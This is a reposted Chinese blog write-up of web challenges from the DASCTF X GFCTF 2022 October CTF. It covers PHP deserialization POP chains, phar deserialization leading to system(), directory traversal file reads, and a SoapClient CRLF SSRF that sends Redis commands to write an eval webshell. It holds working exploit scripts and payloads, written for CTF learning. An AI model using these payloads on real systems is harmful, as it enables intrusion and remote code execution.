飞道的博客

DASCTF X GFCTF 2022十月挑战赛web

771人阅读  评论(0)

前言

晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。

EasyPOP

考察php的pop链,这题相比之下算是web中的签到题了。看题目源码:


  
  1. <?php
  2. highlight_file( __FILE__);
  3. error_reporting( 0);
  4. class fine
  5. private $ cmd;
  6. private $ content;
  7. public function __construct($ cmd, $ content)
  8. {
  9. $this->cmd = $cmd;
  10. $this->content = $content;
  11. }
  12. public function __invoke()
  13. {
  14. call_user_func( $this->cmd, $this->content);
  15. }
  16. public function __wakeup()
  17. {
  18. $this->cmd = "";
  19. die( "Go listen to Jay Chou's secret-code! Really nice");
  20. }
  21. }
  22. class show
  23. {
  24. public $ctf;
  25. public $time = "Two and a half years";
  26. public function __construct($ctf)
  27. {
  28. $this->ctf = $ctf;
  29. }
  30. public function __toString()
  31. {
  32. return $this->ctf-> show();
  33. }
  34. public function show(): string
  35. {
  36. return $this->ctf . ": Duration of practice: " . $this->time;
  37. }
  38. }
  39. class sorry
  40. {
  41. private $name;
  42. private $password;
  43. public $hint = "hint is depend on you";
  44. public $key;
  45. public function __construct($name, $password)
  46. {
  47. $this->name = $name;
  48. $this->password = $password;
  49. }
  50. public function __sleep()
  51. {
  52. $this->hint = new secret_code();
  53. }
  54. public function __get($name)
  55. {
  56. $name = $this->key;
  57. $name();
  58. }
  59. public function __destruct()
  60. {
  61. if ( $this->password == $this->name) {
  62. echo $this->hint;
  63. } else if ( $this->name = "jay") {
  64. secret_code:: secret();
  65. } else {
  66. echo "This is our code";
  67. }
  68. }
  69. public function getPassword()
  70. {
  71. return $this->password;
  72. }
  73. public function setPassword($password): void
  74. {
  75. $this->password = $password;
  76. }
  77. }
  78. class secret_code
  79. {
  80. protected $code;
  81. public static function secret()
  82. {
  83. include_once "hint.php";
  84. hint();
  85. }
  86. public function __call($name, $arguments)
  87. {
  88. $num = $name;
  89. $this-> $num();
  90. }
  91. private function show()
  92. {
  93. return $this->code->secret;
  94. }
  95. }
  96. if ( isset( $_GET[ 'pop'])) {
  97. $a = unserialize( $_GET[ 'pop']);
  98. $a-> setPassword( md5( mt_rand()));
  99. } else {
  100. $a = new show( "Ctfer");
  101. echo $a-> show();
  102. } ?>

代码比较长,但是好懂,最终漏洞触发点是为fine类中的call_user_func函数,达到任意函数调用,链子也比较简单:


  
  1. sorry: __destruct() -> show: __toString() -> secret_code: call() -> secret_code: show() ->
  2. sorry:__get -> fine : __invoke

这里防止我们调用的函数为空,需要绕过wakeup,常规绕过就是属性值大于原有值,这里看wp学习另一种绕过方式,fast_destruct,常规的执行顺序:(wake_up -> __desturct)

我们去掉一个大括号,让它强制先执行__destruct方法,但是这个方法在只有一个类是不适用的。

这一题还是比较简单的,直接上exp。


  
  1. <?php
  2. class fine{
  3. private $cmd= 'passthru';
  4. private $content= 'ls';
  5. function __construct(){
  6. }
  7. }
  8. class show{
  9. public $ctf;
  10. public function __construct(){
  11. //$this->ctf=new secret_code();
  12. }
  13. }
  14. class sorry{
  15. private $name= 1;
  16. private $password= 1;
  17. public $hint;
  18. public $key;
  19. public function __construct(){
  20. $this->hint = new show();
  21. $this->key= new fine();
  22. }
  23. }
  24. class secret_code{
  25. protected $code;
  26. public function __construct(){
  27. $this->code= new sorry();
  28. }
  29. }
  30. $a = new sorry();
  31. $a->hint->ctf= new secret_code();
  32. $str = serialize( $a);
  33. $str1 = str_replace( 'fine":2', 'fine":5', $str);
  34. echo urlencode(( $str1));
  35. ?>

因为这一题的php版本为php7,对类属性不敏感,所以把私有属性全都改为public编写exp会更简单。

hade_waibo

这道题网上查到最多的就是非预期解法。

随便注册一个用户名进去后有三个功能,上传,删除和搜索。我们在搜索功能上发现可以任意读文件,也就是这里存在非预期,直接目录穿越读取start.sh,payload为:

file.php?m=show&filename=…/…/…/…/start.sh

这个文件有flag的文件名,再利用任意文件读取漏洞读出flag就行了。这个方法很巧妙,但是学不到什么东西,看官方wp放的预期解:

把网站源码读出来,一共有三个php文件,代码一共太多了,这里只放关键代码,这里我们利用class.php的User类和Test类,


  
  1. <?php
  2. class User
  3. {
  4. public $username;
  5. public function __construct($username){
  6. $this->username = $username;
  7. $_SESSION[ 'isLogin'] = True;
  8. $_SESSION[ 'username'] = $username;
  9. }
  10. public function __wakeup(){
  11. $cklen = strlen( $_SESSION[ "username"]);
  12. if ( $cklen != 0 and $cklen <= 6) {
  13. $this->username = $_SESSION[ "username"];
  14. }
  15. }
  16. public function __destruct(){
  17. if ( $this->username == '') {
  18. session_destroy();
  19. }
  20. }
  21. }

Test类:


  
  1. class Test
  2. {
  3. public $value;
  4. public function __destruct(){
  5. chdir( './upload');
  6. $this-> backdoor();
  7. }
  8. public function __wakeup(){
  9. $this->value = "Don't make dream.Wake up plz!";
  10. }
  11. public function __toString(){
  12. $file = substr( $_GET[ 'file'], 0, 3);
  13. file_put_contents( $file, "Hack by $file !");
  14. return 'Unreachable! :)';
  15. }
  16. public function backdoor(){
  17. if( preg_match( '/[A-Za-z0-9?$@]+/', $this->value)){
  18. $this->value = 'nono~';
  19. }
  20. system( $this->value);
  21. }
  22. }

Test类有我们的system敏感函数,但是过滤了字母数字,这两个类可以反序列化,另外也有文件包含,所以我们可以通过上传phar文件来执行这个system函数,另外参数value在__wakeup函数会被赋值,这里我们要用的User类了,我们可以让Test类中的value属性去引用User类中的地址,那么就可以通过修改username的值来间接控制value的内容,在User类的__wakeup函数有个赋值操作

$_SESSION["username"]就是我们注册的用户名,所以赋值操作我们可控,那么剩下一个问题,我们怎么在过滤字母数字的情况下执行linux命令,可以用. ./*来执行当前目录下的文件。linux中可以用点来执行任意shell文件,那么通过网站的上传功能上传一个shell文件,然后再注册一个用户名为. ./*的用户,上传一个phar文件来触发反序列化,话不多说,开始实操,嘿嘿

通过上传界面上传写入ls /命令的shell文件。

接下来就是注册一个. ./*的用户名,编写exp


  
  1. <?php
  2. class User{
  3. public $username;
  4. }
  5. class Test
  6. {
  7. public $value;
  8. }
  9. $b= new User();
  10. $a= new Test();
  11. $b->username= new Test();
  12. $b->aaa= $a;
  13. $a->value=& $b->username;
  14. $phar = new Phar( "abcd.phar");
  15. $phar-> startBuffering();
  16. $phar-> setStub( "<?php __HALT_COMPILER(); ?>");
  17. $phar-> setMetadata( $b);
  18. $phar-> addFromString( "test.txt", "test");
  19. $phar-> stopBuffering();
  20. ?>

这里看exp有个问题,为什么User类要新增一个属性去实例化Test类,这里看到一位师傅的博客(DASCTF X GFCTF 2022十月挑战赛!_递归 trash can的博客-CSDN博客)解释的比较详细,我自己也在本地测试看看生成的序列化串,

这是正常的,

这里的value属性就没有引用了,所以新加的属性是为了让value能够引用的,直接上传phar文件,

最后利用网站的搜索功能,用phar伪协议读取,

这里是成功执行命令了。同时出现了flag文件,通过任意文件读取获得flag。

EasyLove

题目描述就给了hint,让我们打redis数据库,好家伙,看题目源码:


  
  1. <?php
  2. highlight_file( __FILE__);
  3. error_reporting( 0);
  4. class swpu{
  5. public $wllm;
  6. public $arsenetang;
  7. public $l61q4cheng;
  8. public $love;
  9. public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
  10. $this->wllm = $wllm;
  11. $this->arsenetang = $arsenetang;
  12. $this->l61q4cheng = $l61q4cheng;
  13. $this->love = $love;
  14. }
  15. public function newnewnew(){
  16. $this->love = new $this-> wllm( $this->arsenetang, $this->l61q4cheng);
  17. }
  18. public function flag(){
  19. $this->love-> getflag();
  20. }
  21. public function __destruct(){
  22. $this-> newnewnew();
  23. $this-> flag();
  24. }
  25. }
  26. class hint{
  27. public $hint;
  28. public function __destruct(){
  29. echo file_get_contents( $this-> hint. 'hint.php');
  30. }
  31. }
  32. $hello = $_GET[ 'hello'];
  33. $world = unserialize( $hello);

有个hint类可以读取hint.php,先写个序列化串看一下提示吧,


  
  1. <?php
  2. class hint{
  3. public $hint= "php://filter/read=convert.base64-encode/resource=/var/www/html/";
  4. }
  5. $a = new hint();
  6. echo serialize( $a);
  7. ?>

这里要用绝对路径,不然读取不出来。

这里写的20220311就是redis数据库的密码了。我们怎么去访问redis数据库,别急,这里还有个swpu类,

实例化任意类,那么我们可以利用某些原生类,结合题目描述打内网redis数据库,我们能用的原生类就只有SoapClient,

这里会调用一个不存在的方法,正好可以触发SoapClient原生类的call方法,那么利用条件满足。

我们知道SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组,在非wsdl模式下,必须设置location和uri选项,其他可选。我们可以通过uri选项向内网redis发指令写木马。


  
  1. AUTH 20220311 //验证客户端链接
  2. CONFIG SET dir / var/www/html //设置写入的目录
  3. SET x '<?@eval(\$_POST[1]);?>' //设置写入的内容
  4. CONFIG SET dbfilename cmd.php //设置写入的文件名
  5. SAVE //保存结束

redis一般在主机的6379开启服务,编写exp:


  
  1. <?php
  2. $target = "http://127.0.0.1:6379";
  3. $option = array( "location"=> $target, "uri"=> "hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE\r\nhello");
  4. class swpu{
  5. public $wllm;
  6. public $arsenetang;
  7. public $l61q4cheng;
  8. public $love;
  9. public function __construct()
  10. {
  11. $this->wllm = "SoapClient";
  12. $this->arsenetang = Null;
  13. }
  14. }
  15. $aa = new swpu();
  16. $aa->l61q4cheng = $option;
  17. echo urlencode( serialize( $aa));
  18. ?>

打入payload后在web目录下访问cmd.php,

用蚁剑连接。 查看flag文件,有大小打开却没有东西,那肯定就是无权限了,使用date命令将flag给带出来。

最终得到flag。

BlogSystem

最后一个题目,感觉考的知识点好多啊,复现起来也比较困难,在此就不写上自己的题解了,贴上出题人pysnow师傅的文章DASCTF10月赛出题笔记 BlogSystem - Pysnow's Blog写的真的非常详细。


转载:https://blog.csdn.net/m0_62422842/article/details/127553366
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场